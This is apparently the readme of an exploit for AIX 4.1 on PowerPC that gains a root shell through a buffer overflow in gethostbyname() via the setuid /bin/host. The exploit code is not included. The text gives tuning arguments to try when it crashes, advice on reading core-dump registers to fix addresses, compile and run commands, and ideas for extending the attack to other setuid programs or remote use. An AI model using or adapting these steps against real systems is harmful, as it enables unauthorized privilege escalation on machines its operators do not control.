--------------------------------------------------------------------------
I wrote and tested this program on AIX 4.1 for PowerPC 601 and 604 and
it started
a root shell on 5 machines. It exploits a buffer overflow in
gethostbyname()
(see IBM advisory) and the fact that /bin/host is +s. Probably it may be
modified to work with rlogin,ping,traceroute and others. Possibly this
hole may
be exploited remotely. IBM has released patch for the problem.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
If the program gives you 'Segmentation fault' or 'Illegal instruction',
then
try at least the following arguments:(string
length,offset,kludge1,kludge2)
78 40 1 1
78 40 1 0
78 40 0 0
78 40 0 1
If you get coredump, examine the registers.
The higher 16 bits of TOC and IAR(CTR) should be the values,
printed by the program (the address of execv() ). The last two arguments
are
added to correct some difference (because of carry?,cache? ???).
Sorry for the lame coding.

Compile with: cc -g test.c
try:
./a.out 78 40 1 1
./a.out 78 40 0 0
./a.out 78 40 0 1
./a.out 78 40 0 0
